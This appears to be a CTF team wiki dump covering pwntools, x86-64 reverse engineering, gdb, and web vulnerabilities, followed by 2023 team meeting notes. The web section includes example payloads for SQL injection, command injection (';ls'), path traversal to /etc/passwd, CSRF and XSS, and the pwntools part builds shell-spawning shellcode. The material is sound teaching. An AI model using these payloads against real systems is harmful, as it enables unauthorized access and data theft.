to be printed on the screen.
Never again will you need to run some already-assembled pile of shellcode from the internet! The pwnlib.asm
module is full of awesome.
>>> enhex(asm('mov eax, 0'))\n'b800000000'\n
But if you do, it\u2019s easy to suss out!
>>> print(disasm(unhex('6a0258cd80ebf9')))\n 0: 6a 02 push 0x2\n 2: 58 pop eax\n 3: cd 80 int 0x80\n 5: eb f9 jmp 0x0\n
However, you shouldn\u2019t even need to write your own shellcode most of the time! pwntools comes with the pwnlib.shellcraft
module, which is loaded with useful time-saving shellcodes.
Let\u2019s say that we want to setreuid(getuid(), getuid()) followed by duping file descriptor 4 to stdin, stdout, and stderr, and then pop a shell!
>>> enhex(asm(shellcraft.setreuid() + shellcraft.dupsh(4))) # doctest: +ELLIPSIS\n'6a3158cd80...'\n
"},{"location":"CTF/Python_4/#misc-tools","title":"Misc Tools","text":"Never write another hexdump, thanks to pwnlib.util.fiddling
.
Find offsets in your buffer that cause a crash, thanks to pwnlib.cyclic
.
>>> cyclic(20)\nb'aaaabaaacaaadaaaeaaa'\n>>> # Assume EIP = 0x62616166 (b'faab' which is pack(0x62616166)) at crash time\n>>> cyclic_find(b'faab')\n120\n
"},{"location":"CTF/Python_4/#elf-manipulation","title":"ELF Manipulation","text":"Stop hard-coding things! Look them up at runtime with pwnlib.elf
.
>>> e = ELF('/bin/cat')\n>>> print(hex(e.address)) #doctest: +SKIP\n0x400000\n>>> print(hex(e.symbols['write'])) #doctest: +SKIP\n0x401680\n>>> print(hex(e.got['write'])) #doctest: +SKIP\n0x60b070\n>>> print(hex(e.plt['write'])) #doctest: +SKIP\n0x401680\n
You can even patch and save the files.
>>> e = ELF('/bin/cat')\n>>> e.read(e.address, 4)\nb'\\x7fELF'\n>>> e.asm(e.address, 'ret')\n>>> e.save('/tmp/quiet-cat')\n>>> disasm(open('/tmp/quiet-cat','rb').read(1))\n' 0: c3 ret'\n
"},{"location":"CTF/RE/","title":"Reverse Engineering","text":"https://ctf101.org/reverse-engineering/overview/
Reverse Engineering in a CTF is typically the process of taking a compiled (machine code, bytecode) program and converting it back into a more human-readable format.
Very often the goal of a reverse engineering challenge is to understand the functionality of a given program such that you can identify deeper issues.
Machine Code or Assembly is code that has been formatted for direct execution by a CPU. Machine Code is why readable programming languages like C, when compiled, cannot be reversed into source code (well Decompilers can sort of, but more on that later).
"},{"location":"CTF/RE/#from-source-to-compilation","title":"From Source to Compilation","text":"Godbolt shows the differences in machine code generated by various compilers.
For example, if we have a simple C++ function:
#include <unistd.h>\n#include <stdio.h>\n#include <stdlib.h>\n\nint main() {\n char c;\n int fd = syscall(2, \"/etc/passwd\", 0);\n while (syscall(0, fd, &c, 1)) {\n putchar(c);\n }\n}\n
We can see the compilation results in some verbose instructions for the CPU:
.LC0:\n .string \"/etc/passwd\"\nmain:\n push rbp\n mov rbp, rsp\n sub rsp, 16\n mov edx, 0\n mov esi, OFFSET FLAT:.LC0\n mov edi, 2\n mov eax, 0\n call syscall\n mov DWORD PTR [rbp-4], eax\n.L3:\n lea rdx, [rbp-5]\n mov eax, DWORD PTR [rbp-4]\n mov ecx, 1\n mov esi, eax\n mov edi, 0\n mov eax, 0\n call syscall\n test rax, rax\n setne al\n test al, al\n je .L2\n movzx eax, BYTE PTR [rbp-5]\n movsx eax, al\n mov edi, eax\n call putchar\n jmp .L3\n.L2:\n mov eax, 0\n leave\n ret\n
This is a one-way process for compiled languages as there is no way to generate sources from machine code. While the machine code may seem unintelligible, the extremely basic functions can be interpreted with some practice.
"},{"location":"CTF/RE/#x86-64","title":"x86-64","text":"x86-64 or amd64 or i64 is a 64-bit Complex Instruction Set Computing (CISC) architecture. This basically means that the registers used for this architecture extend an extra 32 bits on Intel's x86 architecture. CISC means that a single instruction can do a bunch of different things at once such as memory accesses, register reads, etc. It is also a variable-length instruction set which means different instructions can be of diferent sizes ranging from 1 to 16 bytes long. And finally, x86-64 allows for multi-sized register access which means that you can access certain parts of a register that are different sizes.
"},{"location":"CTF/RE/#x86-64-registers","title":"x86-64 Registers","text":"x86-64 registers behave similarly to other architectures. A key component of x86-64 registers is multi-sized access, meaning the register RAX can have its lower 32-bits accessed with EAX. The next lower 16 bits can be accessed with AX and the lowest 8 bits can be accessed with AL, allowing the computer to make optimizations that boost program execution.
x86-64 has plenty of registers, including rax, rbx, rcx, rdx, rdi, rsi, rsp, rip, r8-r15, and more! But some registers serve special purposes.
The special registers include: - RIP: the instruction pointer - RSP: the stack pointer - RBP: the base pointer
"},{"location":"CTF/RE/#instructions","title":"Instructions","text":"An instruction represents a single operation for the CPU to perform.
There are different types of instructions including:
mov rax, [rsp - 0x40]
add rbx, rcx
jne 0x8000400
Because x86-64 is a CISC architecture, instructions can be quite complex for machine code such as repne scasb
which repeats up to ECX times over memory at EDI looking for NULL byte (0x00), decrementing ECX each byte (Essentially strlen() in a single instruction!)
It is important to remember that an instruction really is just memory, this idea will become useful with Return Oriented Programming or ROP.
Instructions, numbers, strings, everything! Always represented in hex.
add rax, rbx\nmov rax, 0xdeadbeef\nmov rax, [0xdeadbeef] == 67 48 8b 05 ef be ad de\n\"Hello\" == 48 65 6c 6c 6f\n== 48 01 d8\n== 48 c7 c0 ef be ad de\n
"},{"location":"CTF/RE/#execution","title":"Execution","text":"What should the CPU execute? This is determined by the RIP register where IP means instruction pointer. Execution follows the pattern: fetch the instruction at the address in RIP, decode it, and run it.
"},{"location":"CTF/RE/#examples","title":"Examples","text":"mov rax, 0xdeadbeef
Here the operation mov
is moving the \"immediate\" 0xdeadbeef
into the register RAX
mov rax, [0xdeadbeef + rbx * 4]
Here the operation mov
is moving the data at the address of [0xdeadbeef + RBX*4]
into the register RAX
. When brackets are used, you can think of the program as getting the content from that effective address.
-> 0x0804000: mov eax, 0xdeadbeef Register Values:\n 0x0804005: mov ebx, 0x1234 RIP = 0x0804000\n 0x080400a: add, rax, rbx RAX = 0x0\n 0x080400d: inc rbx RBX = 0x0\n 0x0804010: sub rax, rbx RCX = 0x0\n 0x0804013: mov rcx, rax RDX = 0x0\n 0x0804000: mov eax, 0xdeadbeef Register Values:\n-> 0x0804005: mov ebx, 0x1234 RIP = 0x0804005\n 0x080400a: add, rax, rbx RAX = 0xdeadbeef\n 0x080400d: inc rbx RBX = 0x0\n 0x0804010: sub rax, rbx RCX = 0x0\n 0x0804013: mov rcx, rax RDX = 0x0\n 0x0804000: mov eax, 0xdeadbeef Register Values:\n 0x0804005: mov ebx, 0x1234 RIP = 0x080400a\n-> 0x080400a: add, rax, rbx RAX = 0xdeadbeef\n 0x080400d: inc rbx RBX = 0x1234\n 0x0804010: sub rax, rbx RCX = 0x0\n 0x0804013: mov rcx, rax RDX = 0x0\n 0x0804000: mov eax, 0xdeadbeef Register Values:\n 0x0804005: mov ebx, 0x1234 RIP = 0x080400d\n 0x080400a: add, rax, rbx RAX = 0xdeadd123\n-> 0x080400d: inc rbx RBX = 0x1234\n 0x0804010: sub rax, rbx RCX = 0x0\n 0x0804013: mov rcx, rax RDX = 0x0\n 0x0804000: mov eax, 0xdeadbeef Register Values:\n 0x0804005: mov ebx, 0x1234 RIP = 0x0804010\n 0x080400a: add, rax, rbx RAX = 0xdeadd123\n 0x080400d: inc rbx RBX = 0x1235\n-> 0x0804010: sub rax, rbx RCX = 0x0\n 0x0804013: mov rcx, rax RDX = 0x0\n 0x0804000: mov eax, 0xdeadbeef Register Values:\n 0x0804005: mov ebx, 0x1234 RIP = 0x0804013\n 0x080400a: add, rax, rbx RAX = 0xdeadbeee\n 0x080400d: inc rbx RBX = 0x1235\n 0x0804010: sub rax, rbx RCX = 0x0\n-> 0x0804013: mov rcx, rax RDX = 0x0\n 0x0804000: mov eax, 0xdeadbeef Register Values:\n 0x0804005: mov ebx, 0x1234 RIP = 0x0804005\n 0x080400a: add, rax, rbx RAX = 0xdeadbeee\n 0x080400d: inc rbx RBX = 0x1235\n 0x0804010: sub rax, rbx RCX = 0xdeadbeee\n 0x0804013: mov rcx, rax RDX = 0x0\n
"},{"location":"CTF/RE/#control-flow","title":"Control Flow","text":"How can we express conditionals in x86-64? We use conditional jumps such as:
jnz <address>
je <address>
jge <address>
jle <address>
They jump if their condition is true and just go to the next instruction otherwise. These conditionals are checking EFLAGS which are special registers that store flags on certain instructions such as add rax, rbx
which sets the o (overflow) flag if the sum is greater than a 64-bit register can hold, and wraps around. You can jump based on that with a jo
instruction. The most important thing to remember is the cmp instruction:
cmp rax, rbx\njle error\n
This assembly jumps if RAX <= RBX
"},{"location":"CTF/RE/#addresses","title":"Addresses","text":"Memory acts similarly to a big array where the indices of this \"array\" are memory addresses. Remember from earlier:
mov rax, [0xdeadbeef]\n
The square brackets mean \"get the data at this address\". This is analogous to the C/C++ syntax: rax = *0xdeadbeef;
A disassembler is a tool that breaks down a compiled program into machine code.
"},{"location":"CTF/RE/#list-of-disassemblers","title":"List of Disassemblers","text":"The Interactive Disassembler (IDA) is the industry standard for binary disassembly. IDA is capable of disassembling \"virtually any popular file format\". This makes it very useful to security researchers and CTF players who often need to analyze obscure files without knowing what they are or where they came from. IDA also features the industry-leading Hex-Rays decompiler which can convert assembly code back into a pseudo code-like format.
IDA also has a plugin interface which has been used to create some successful plugins that can make reverse engineering easier:
Binary Ninja is an up-and-coming disassembler that attempts to bring a new, more programmatic approach to reverse engineering. Binary Ninja brings an improved plugin API and modern features to reverse engineering. While it's less popular or as old as IDA, Binary Ninja (often called binja) is quickly gaining ground and has a small community of dedicated users and followers.
Binja also has some community-contributed plugins which are collected here: https://github.com/Vector35/community-plugins
"},{"location":"CTF/RE/#gdb","title":"gdb","text":"The GNU Debugger is a free and open-source debugger that also disassembles programs. It's capable as a disassembler, but most notably it is used by CTF players for its debugging and dynamic analysis capabilities.
gdb is often used in tandem with enhancement scripts like peda, pwndbg, and GEF
"},{"location":"CTF/RE/#the-gnu-debugger-gdb","title":"The GNU Debugger (GDB)","text":"The GNU Debugger or GDB is a powerful debugger that allows for the step-by-step execution of a program. It can be used to trace program execution and is an important part of any reverse engineering toolkit.
"},{"location":"CTF/RE/#vanilla-gdb","title":"Vanilla GDB","text":"GDB without any modifications is unintuitive and obscures a lot of useful information. The plug-in pwndb solves a lot of these problems and makes for a much more pleasant experience. But if you are constrained and have to use vanilla gdb, here are several things to make your life easier.
"},{"location":"CTF/RE/#starting-gdb","title":"Starting GDB","text":"To execute GBD and attach it to a program simply run gdb [program]
(gdb) disassemble [address/symbol]
will display the disassembly for that function/frame
GDB will autocomplete functions, so saying (gdb) disas main
suffices if you'd like to see the disassembly of the main
Another handy thing to see while stepping through a program is the disassembly of nearby instructions:
(gdb) display/[# of instructions]i $pc [\u00b1 offset]\n
display
shows data with each step/[#]i
shows how much data in the format i for instruction$pc
means the pc, program counter, register[\u00b1 offset]
allows you to specify how you would like the data offset from the current instruction(gdb) display/10i $pc - 0x5\n
This command will show 10 instructions on screen with an offset from the next instruction of 5, giving us this display:
0x8048535 <main+6>: lock pushl -0x4(%ecx)\n 0x8048539 <main+10>: push %ebp\n=> 0x804853a <main+11>: mov %esp,%ebp\n 0x804853c <main+13>: push %ecx\n 0x804853d <main+14>: sub $0x14,%esp\n 0x8048540 <main+17>: sub $0xc,%esp\n 0x8048543 <main+20>: push $0x400\n 0x8048548 <main+25>: call 0x80483a0 <malloc@plt>\n 0x804854d <main+30>: add $0x10,%esp\n 0x8048550 <main+33>: sub $0xc,%esp\n
"},{"location":"CTF/RE/#deleting-views","title":"Deleting Views","text":"If for whatever reason, a view no long suits your needs simply call (gdb) info display
which will give you a list of active displays:
Auto-display expressions now in effect:\nNum Enb Expression\n1: y /10bi $pc-0x5\n
Then simply execute (gdb) delete display 1
and your execution will resume without the display.
In order to view the state of registers with vanilla gdb, you need to run the command info registers
which will display the state of all the registers:
eax 0xf77a6ddc -142971428\necx 0xffe06b10 -2069744\nedx 0xffe06b34 -2069708\nebx 0x0 0\nesp 0xffe06af8 0xffe06af8\nebp 0x0 0x0\nesi 0xf77a5000 -142979072\nedi 0xf77a5000 -142979072\neip 0x804853a 0x804853a <main+11>\neflags 0x286 [ PF SF IF ]\ncs 0x23 35\nss 0x2b 43\nds 0x2b 43\nes 0x2b 43\nfs 0x0 0\ngs 0x63 99\n
If you simply would like to see the contents of a single register, the notation x/x $[register]
where:
x/x
means to display the address in hex notation$[register]
is the register code such as eax, rax, etc.These commands work with vanilla gdb as well.
"},{"location":"CTF/RE/#setting-breakpoints","title":"Setting Breakpoints","text":"Setting breakpoints in GDB uses the format b*[Address/Symbol]
(gdb) b*main
: Break at the start(gdb) b*0x804854d
: Break at 0x804854d(gdb) b*0x804854d-0x100
: Break at 0x804844dAs before, in order to delete a view, you can list the available breakpoints using (gdb) info breakpoints
(don't forget about GDB's autocomplete, you don't always need to type out every command!) which will display all breakpoints:
Num Type Disp Enb Address What\n1 breakpoint keep y 0x0804852f <main>\n3 breakpoint keep y 0x0804864d <__libc_csu_init+61>\n
Then simply execute (gdb) delete 1
Note
GDB creates breakpoints chronologically and does NOT reuse numbers.
"},{"location":"CTF/RE/#stepping","title":"Stepping","text":"What good is a debugger if you can't control where you are going? In order to begin the execution of a program, use the command r [arguments]
similar to how if you ran it with dot-slash notation you would execute it ./program [arguments]
. In this case, the program will run normally and if no breakpoints are set, you will execute normally. If you have breakpoints set, you will stop at that instruction.
(gdb) continue [# of breakpoints]
: Resumes the execution of the program until it finishes or until another breakpoint is hit (shorthand c
)(gdb) step[# of instructions]
: Steps into an instruction the specified number of times, default is 1 (shorthand s
)(gdb) next instruction [# of instructions]
: Steps over an instruction meaning it will not delve into called functions (shorthand ni
)(gdb) finish
: Finishes a function and breaks after it gets returned (shorthand fin
)Examining data in GDB is also very useful for seeing how the program is affecting data. The notation may seem complex at first, but it is flexible and provides powerful functionality.
(gdb) x/[#][size][format] [Address/Symbol/Register][\u00b1 offset]\n
x/
means examine[#]
means how much[size]
means what size the data should be such as a word w (2 bytes), double word d (4 bytes), or giant word g (8 bytes)[format]
means how the data should be interpreted such as an instruction i, a string s, hex bytes x[Address/Symbol][\u00b1 offset]
means where to start interpreting the data(gdb) x/x $rax
: Displays the content of the register RAX as hex bytes(gdb) x/i 0xdeadbeef
: Displays the instruction at address 0xdeadbeef(gdb) x/10s 0x893e10
: Displays 10 strings at the address(gdb) x/10gx 0x7fe10
: Displays 10 giant words as hex at the addressIf the program happens to be an accept-and-fork server, gdb will have issues following the child or parent processes. In order to specify how you want gdb to function you can use the command set follow-fork-mode [on/off]
If you would like to set data at any point, it is possible using the command set [Address/Register]=[Hex Data]
set $rax=0x0
: Sets the register rax to 0set 0x1e4a70=0x123
: Sets the data at 0x1e4a70 to 0x123A handy way to find the process's mapped address spaces is to use info proc map
:
Mapped address spaces:\n\n Start Addr End Addr Size Offset objfile\n 0x8048000 0x8049000 0x1000 0x0 /directory/program\n 0x8049000 0x804a000 0x1000 0x0 /directory/program\n 0x804a000 0x804b000 0x1000 0x1000 /directory/program\n 0xf75cb000 0xf75cc000 0x1000 0x0\n 0xf75cc000 0xf7779000 0x1ad000 0x0 /lib32/libc-2.23.so\n 0xf7779000 0xf777b000 0x2000 0x1ac000 /lib32/libc-2.23.so\n 0xf777b000 0xf777c000 0x1000 0x1ae000 /lib32/libc-2.23.so\n 0xf777c000 0xf7780000 0x4000 0x0\n 0xf778b000 0xf778d000 0x2000 0x0 [vvar]\n 0xf778d000 0xf778f000 0x2000 0x0 [vdso]\n 0xf778f000 0xf77b1000 0x22000 0x0 /lib32/ld-2.23.so\n 0xf77b1000 0xf77b2000 0x1000 0x0\n 0xf77b2000 0xf77b3000 0x1000 0x22000 /lib32/ld-2.23.so\n 0xf77b3000 0xf77b4000 0x1000 0x23000 /lib32/ld-2.23.so\n 0xffc59000 0xffc7a000 0x21000 0x0 [stack]\n
This will show you where the stack, heap (if there is one), and libc are located.
"},{"location":"CTF/RE/#attaching-processes","title":"Attaching Processes","text":"Another useful feature of GDB is to attach to processes that are already running. Simply launch gdb using gdb
, then find the process id of the program you would like to attach to an execute attach [pid]
.
https://ctf101.org/web-exploitation/overview/
Websites all around the world are programmed using various programming languages. While the developer should be aware of specific vulnerabilities in each programming language, there are issues fundamental to the internet that can show up regardless of the chosen language or framework.
These vulnerabilities often show up in CTFs as web security challenges where the user needs to exploit a bug to gain some kind of higher-level privilege.
Common vulnerabilities to see in CTF challenges:
SQL Injection is a vulnerability where an application takes input from a user and doesn't validate that the user's input doesn't contain additional SQL.
<?php\n $username = $_GET['username']; // kchung\n $result = mysql_query(\"SELECT * FROM users WHERE username='$username'\");\n?>\n
If we look at the $username variable, we might expect the username parameter to be a real username (e.g. kchung) under normal operation.
But a malicious user might submit a different kind of data. For example, consider if the input was '
?
The application would crash because the resulting SQL query is incorrect.
SELECT * FROM users WHERE username='''\n
Notice the extra single quote at the end.
With the knowledge that a single quote will cause an error in the application, we can expand a little more on SQL Injection.
What if our input was ' OR 1=1
?
SELECT * FROM users WHERE username='' OR 1=1\n
1 is indeed equal to 1. This equates to true in SQL. If we reinterpret this the SQL statement is really saying
SELECT * FROM users WHERE username='' OR true\n
This will return every row in the table because each row that exists must be true.
We can also inject comments and termination characters like --
or /*
or ;
. This allows you to terminate SQL queries after your injected statements. For example '--
is a common SQL injection payload.
SELECT * FROM users WHERE username=''-- '\n
This payload sets the username parameter to an empty string to break out of the query and then adds a comment (--
) that effectively hides the second single quote.
Using this technique of adding SQL statements to an existing query we can force databases to return data that it was not meant to return.
"},{"location":"CTF/Web/#command-injection","title":"Command Injection","text":"Command Injection is a vulnerability that allows an attacker to submit system commands to a computer running a website. This happens when the application fails to encode user input that goes into a system shell. It is very common to see this vulnerability when a developer uses the system()
command or its equivalent in the application's programming language.
import os\n\ndomain = user_input() # ctf101.org\n\nos.system('ping ' + domain)\n
The above code when used normally will ping the ctf101.org
domain.
But consider what would happen if the user_input()
function returned different data.
import os\n\ndomain = user_input() # ; ls\n\nos.system('ping ' + domain)\n
Because of the additional semicolon, the os.system()
function is instructed to run two commands.
It looks to the program as:
ping ; ls\n
The semicolon terminates a command in bash and allows you to put another command after it.
Because the ping
command is being terminated and the ls
command is being added on, the ls
command will be run in addition to the empty ping command!
This is the core concept behind command injection. The ls
command could of course be switched with another command (e.g. wget, curl, bash, etc.)
Command injection is a very common means of privilege escalation within web applications and applications that interface with system commands. Many kinds of home routers take user input and directly append it to a system command. For this reason, many of those home router models are vulnerable to command injection.
"},{"location":"CTF/Web/#example-payloads","title":"Example Payloads","text":";ls
$(ls)
ls
Directory Traversal is a vulnerability where an application takes in user input and uses it in a directory path.
Any kind of path controlled by user input that isn't properly sanitized or properly sandboxed could be vulnerable to directory traversal.
For example, consider an application that allows the user to choose what page to load from a GET parameter.
<?php\n $page = $_GET['page']; // index.php\n include(\"/var/www/html/\" . $page);\n?>\n
Under normal operation, the page would be index.php
. But what if a malicious user gave in something different?
<?php\n $page = $_GET['page']; // ../../../../../../../../etc/passwd\n include(\"/var/www/html/\" . $page);\n?>\n
Here the user is submitting ../../../../../../../../etc/passwd
.
This will result in the PHP interpreter leaving the directory that it is coded to look in ('/var/www/html') and instead be forced up to the root folder.
include(\"/var/www/html/../../../../../../../../etc/passwd\");\n
Ultimately this will become /etc/passwd
because the computer will not go a directory above its top directory.
Thus the application will load the /etc/passwd
file and emit it to the user like so:
root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\nsystemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false\nsystemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false\nsystemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false\nsystemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false\n_apt:x:104:65534::/nonexistent:/bin/false\n
This same concept can be applied to applications where some input is taken from a user and then used to access a file or path or similar. This vulnerability very often can be used to leak sensitive data or extract application source code to find other vulnerabilities.
"},{"location":"CTF/Web/#cross-site-request-forgery-csrf","title":"Cross-Site Request Forgery (CSRF)","text":"A Cross-Site Request Forgery or CSRF Attack pronounced see the surf, is an attack on an authenticated user which uses a state session in order to perform state-changing attacks like a purchase, a transfer of funds, or a change of email address.
The entire premise of CSRF is based on session hijacking, usually by injecting malicious elements within a webpage through a <img>
tag or a <iframe>
where references to external resources are unverified.
GET
requests are often used by websites to get user input. Say a user signs in to a banking site that assigns their browser a cookie that keeps them logged in. If they transfer some money, the URL that is sent to the server might have the pattern:
http://securibank.com/transfer.do?acct=[RECEPIENT]&amount=[DOLLARS]\n
Knowing this format, an attacker can send an email with a hyperlink to be clicked on or they can include an image tag of 0 by 0 pixels which will automatically be requested by the browser such as:
<img src=\"http://securibank.com/transfer.do?acct=[RECEPIENT]&amount=[DOLLARS]\" width=\"0\" height=\"0\" border=\"0\">
Cross-Site Scripting or XSS is a vulnerability where one user of an application can send JavaScript that is executed by the browser of another user of the same application.
This is a vulnerability because JavaScript has a high degree of control over a user's web browser.
For example, JavaScript has the ability to:
By combining all of these abilities, XSS can maliciously use JavaScript to extract users' cookies and send them to an attacker-controlled server. XSS can also modify the DOM to phishing users for their passwords. This only scratches the surface of what XSS can be used to do.
XSS is typically broken down into three categories:
Reflected XSS is when an XSS exploit is provided through a URL parameter.
For example:
https://ctf101.org?data=<script>alert(1)</script>\n
You can see the XSS exploit provided in the data
GET parameter. If the application is vulnerable to reflected XSS, the application will take this data parameter value and inject it into the DOM.
For example:
<html>\n <body>\n <script>alert(1)</script>\n </body>\n</html>\n
Depending on where the exploit gets injected, it may need to be constructed differently.
Also, the exploit payload can change to fit whatever the attacker needs it to do. Whether that is to extract cookies and submit them to an external server, or to simply modify the page to deface it.
One of the deficiencies of reflected XSS however is that it requires the victim to access the vulnerable page from an attacker-controlled resource. Notice that if the data parameter, wasn't provided the exploit wouldn't work.
In many situations, reflected XSS is detected by the browser because it is very simple for a browser to detect malicious XSS payloads in URLs.
"},{"location":"CTF/Web/#stored-xss","title":"Stored XSS","text":"Stored XSS is different from reflected XSS in one key way. In reflected XSS, the exploit is provided through a GET parameter. But in stored XSS, the exploit is provided from the website itself.
Imagine a website that allows users to post comments. If a user can submit an XSS payload as a comment, and then have others view that malicious comment, it would be an example of stored XSS.
The reason is that the website itself is serving up the XSS payload to other users. This makes it very difficult to detect from the browser's perspective and no browser is capable of generically preventing stored XSS from exploiting a user.
"},{"location":"CTF/Web/#dom-xss","title":"DOM XSS","text":"DOM XSS is XSS that is due to the browser itself injecting an XSS payload into the DOM. While the server itself may properly prevent XSS, it's possible that the client-side scripts may accidentally take a payload and insert it into the DOM and cause the payload to trigger.
The server itself is not to blame, but the client-side JavaScript files are causing the issue.
"},{"location":"CTF/Web/#server-side-request-forgery-ssrf","title":"Server Side Request Forgery (SSRF)","text":"Server Side Request Forgery or SSRF is where an attacker is able to cause a web application to send a request that the attacker defines.
For example, say there is a website that lets you take a screenshot of any site on the internet.
Under normal usage, a user might ask it to take a screenshot of a page like Google, or The New York Times. But what if a user does something more nefarious? What if they asked the site to take a picture of http://localhost? Or perhaps tries to access something more useful like http://localhost/server-status?
127.0.0.1 (also known as localhost or loopback) represents the computer itself. Accessing localhost means you are accessing the computer's own internal network. Developers often use localhost as a way to access the services they have running on their own computers.
Depending on what the response from the site is the attacker may be able to gain additional information about what's running on the computer itself.
In addition, the requests originating from the server would come from the server's IP, not the attacker's IP. Because of that, it is possible that the attacker might be able to access internal resources that he wouldn't normally be able to access.
Another usage for SSRF is to create a simple port scanner to scan the internal network looking for internal services.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-01-12/","title":"CTF Week Meeting 2023-01-12","text":"We are happy that we are here in 2023 and thank all members for their efforts in the past year. In the first (actually the second) all-volunteer weekly meeting this year, we will summarize the work and achievements of last year and designate the annual plan for 2023.
"},{"location":"Meeting/CTF%20Week%20Meeting%202023-01-12/#work-progress-tracking","title":"Work progress tracking","text":"Perhaps you have noticed that in this weekly meeting, I have restructured the weekly meeting. Based on the results of the previous questionnaire collection, I got some valuable suggestions about the weekly meetings.
In the future, I will still use Markdown to design the document, compared to Latex, although Latex has a better presentation, Markdown saves a lot of time in writing the document, and our time is too precious to waste in compiling and adjusting the document, and I will not use PPT for the weekly meeting. The document for the weekly meeting will follow the following format.
Work tracking: Many plans that were once confidently ready to be implemented were not completed due to a lack of progress tracking. In future meetings, I will add a progress tracking section to report on the progress of the work.
This week's content discussion: Keeping the style of the previous weekly meeting, I will list the discussion items for this week's weekly meeting, and hope to describe the details of each plan and item in detail while synchronizing the content follow-up. This is the discussion session, I hope everyone can actively give suggestions on the plans and matters, more discussion often means better results.
Wrap-up (Summary): A final summary of the content of this week's weekly meeting. If you do not have time to attend the weekly meeting discussion and do not intend to read the lengthy details of the discussion items after the weekly meeting, you can quickly follow up on the progress of this week's weekly meeting discussion through the outline and summary of the content discussion.
I have restructured some of the documents, and the main elements include.
archived the CS315 file for 2021 and placed it in the 2021 folder.
filed the weekly meeting documents for 2022, divided them into two parts, the first half and the second half, and placed them in different folders.
In addition, some work was done on resizing the images. Git is not a supported binary versioning tool (unlike SVN), our repo is on GitHub, and I am not a paid member of GitHub, so although there is no repository size limit for the free version, I still want to reduce the size of our binary files to reduce the size of our repository I'm not a paid member of GitHub either.
The initial work was to resize all the image files to a fraction of their original size and try not to compromise image quality.
I hope you can pay attention to the following conventions when submitting a Pull Request.
All material files (images, attachments, etc.) should be placed under the assets/ folder as much as possible.
For uncompressed high-quality images (such as direct screenshots or downloaded originals), please include the _hd
field after the image name so that I can find the image that needs to be compressed when adjusting it.
Future work related to the wiki.
adjust the bilingual language support: Mkdocs natively support multi-language localization, we only used English as a language when creating the wiki, as a first/second language that almost global users know, I considered the convenience. However, our first language is Chinese, and reading English documents is much slower than Chinese documents, I will consider adding Chinese support.
adjust the content structure: wiki content structure today as a CTF all-in-one reference wiki, but there are still many shortcomings. I hope that while providing toolkits, web resource references, and writeups, more categories can be added to facilitate CTF learning.
We have achieved some results in FY2022, but we also have some unfinished business.
Memorable accomplishments.
We participated in the \"Top Geeks\" competition held by the Chengdu government and came in 10th place in the finals.
We participated in the \"Wangding Cup\" competition held by the National Internet Information Office and the Ministry of Public Security, and got 8th place in the preliminary round and advanced to the final round.
The HED team won 1st place in the \"Winter Competition\" of iChunqiu.
We participated in the \"Student Cyber Security Competition\" held by Guangdong Provincial Government and advanced to the final round.
In the CTFtime 2022 ranking, the COMPASS team achieved a total score of 83.569, ranking 32nd among Chinese teams.
We participated in the \"Strong Network Cup\" competition held by the State Internet Information Office and the Zhengzhou government, and both teams got the \"Strong Network Pioneer\" certificate.
Unfortunately, in 2022, we also have some matters that were once planned to go down the drain and remain unfinished. To review our 2022 objectively and fairly, I would like to summarize this part as well.
CTF from practice to principles: I was inspired by Prof. Zhang in early 2022 to compile a book about CTF tutorials for true zero-based CTF beginners to make up for the shortcomings of today's CTF tutorial books that are still too difficult and the knowledge coverage fails to construct a big picture of CTF and network security. Unfortunately, so far I have only completed the outline and part of the first chapter of the book, and I hope to continue this work in 2023.
Competition planning for new members: This is one of the main tasks of the varsity team, and despite our intensive weekly training, the number of members participating in competitions is still very insufficient. In the weekly meetings, I synchronize the competitions that will be held soon, but few new members intend to participate.
Adjustment of the tournament platform: Unfortunately, although I had planned to adjust the topics and functions of the CTFd platform being used and made some rough proposals, this plan did not come to fruition in the end. After testing the new platform on 2023-01-07, I decided to use GZCTF as our new platform and abandon the original CTFd platform. I will transfer our original questions, entry test questions, and other high-quality tournament questions to GZCTF.
Cooperation with the Information Center: At the beginning of the establishment of the varsity team, I communicated quite closely with a colleague from the Information Center ITS, would participate in each other's activities, and achieved some results in the construction of the network security. Unfortunately, after several lengthy and boring communications, annoying network problems, and a change in the attitude of the Information Center towards cyber security, ITS did not participate in many of the subsequent events we held. I regret that COMPASS TEAM's attempts to work with the Information Center to improve campus cybersecurity have largely failed, but I will still try to convince ITS to pursue this effort.
We've reached 2023, and in a brand new year, it's time to make a new annual plan.
CTFtime race plan: In the new year, I will try not to miss any race that has a CTFtime rating, to raise the visibility of COMPASS TEAM on the biggest international platform in the CTF field, and to move towards DEF CON 31 in August.
Membership recruitment: We were very lucky to have two extremely talented new members of the class of 2022 join us before we even started our membership recruitment. In 2023, I will adjust the membership recruitment schedule and invite the best members to join us.
Cross-platform science and awareness promotion: I am planning to create COMPASS TEAM social media accounts on multiple platforms, and I have chosen different content strategies for each different platform user group. Social media platforms are a great way to get the word out about our work, and those currently planned include.
CSDN/Blog Garden: Reprint wiki content
WeChat Public: Vulnerability analysis and summary
Pediy (Kanxue) Forum: vulnerability recurrence and research
Anquanke: technical summaries and tutorials
Tiktok: Network Security Tips
Twitter: publicity/results sharing
